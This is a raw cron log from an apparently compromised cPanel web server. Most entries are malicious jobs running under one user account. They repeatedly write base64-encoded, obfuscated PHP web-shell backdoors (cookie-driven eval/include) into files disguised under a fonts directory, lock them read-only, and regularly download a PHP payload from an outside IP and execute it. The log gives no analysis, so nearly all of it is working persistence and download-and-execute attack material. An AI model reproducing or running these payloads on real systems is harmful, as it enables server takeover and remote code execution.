Aug 30 05:27:01 ip-184-168-122-23 CROND[20780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:27:01 ip-184-168-122-23 CROND[20781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:28:01 ip-184-168-122-23 CROND[20858]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:28:01 ip-184-168-122-23 CROND[20859]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:28:01 ip-184-168-122-23 CROND[20861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:28:01 ip-184-168-122-23 CROND[20860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:28:01 ip-184-168-122-23 CROND[20862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:29:01 ip-184-168-122-23 CROND[20974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:29:01 ip-184-168-122-23 CROND[20975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:29:01 ip-184-168-122-23 CROND[20976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:29:01 ip-184-168-122-23 CROND[20977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:30:01 ip-184-168-122-23 CROND[21070]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 05:30:01 ip-184-168-122-23 CROND[21073]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:30:01 ip-184-168-122-23 CROND[21075]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Aug 30 05:30:01 ip-184-168-122-23 CROND[21079]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 05:30:01 ip-184-168-122-23 CROND[21080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:30:01 ip-184-168-122-23 CROND[21081]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 05:30:01 ip-184-168-122-23 CROND[21077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:30:01 ip-184-168-122-23 CROND[21082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:30:01 ip-184-168-122-23 CROND[21084]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:31:01 ip-184-168-122-23 CROND[21174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:31:01 ip-184-168-122-23 CROND[21176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:31:01 ip-184-168-122-23 CROND[21178]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 05:31:01 ip-184-168-122-23 CROND[21180]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:31:01 ip-184-168-122-23 CROND[21179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:32:01 ip-184-168-122-23 CROND[21265]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:32:01 ip-184-168-122-23 CROND[21267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:32:01 ip-184-168-122-23 CROND[21268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:32:01 ip-184-168-122-23 CROND[21269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:32:01 ip-184-168-122-23 CROND[21270]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:33:01 ip-184-168-122-23 CROND[21383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:33:01 ip-184-168-122-23 CROND[21385]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:33:01 ip-184-168-122-23 CROND[21386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:33:01 ip-184-168-122-23 CROND[21388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:34:01 ip-184-168-122-23 CROND[21559]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:34:01 ip-184-168-122-23 CROND[21561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:34:01 ip-184-168-122-23 CROND[21562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:34:01 ip-184-168-122-23 CROND[21560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:34:01 ip-184-168-122-23 CROND[21564]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:35:02 ip-184-168-122-23 CROND[21668]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 05:35:02 ip-184-168-122-23 CROND[21670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:35:02 ip-184-168-122-23 CROND[21672]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 05:35:02 ip-184-168-122-23 CROND[21674]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 05:35:02 ip-184-168-122-23 CROND[21676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:35:02 ip-184-168-122-23 CROND[21675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:35:02 ip-184-168-122-23 CROND[21678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:35:02 ip-184-168-122-23 CROND[21677]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 05:36:01 ip-184-168-122-23 CROND[21785]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:36:01 ip-184-168-122-23 CROND[21787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:36:01 ip-184-168-122-23 CROND[21788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:36:01 ip-184-168-122-23 CROND[21790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:36:01 ip-184-168-122-23 CROND[21789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:37:02 ip-184-168-122-23 CROND[21880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:37:02 ip-184-168-122-23 CROND[21885]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:37:02 ip-184-168-122-23 CROND[21884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:37:02 ip-184-168-122-23 CROND[21883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:38:01 ip-184-168-122-23 CROND[21980]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:38:01 ip-184-168-122-23 CROND[21983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:38:01 ip-184-168-122-23 CROND[21982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:38:01 ip-184-168-122-23 CROND[21985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:38:01 ip-184-168-122-23 CROND[21984]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:39:01 ip-184-168-122-23 CROND[22153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:39:01 ip-184-168-122-23 CROND[22156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
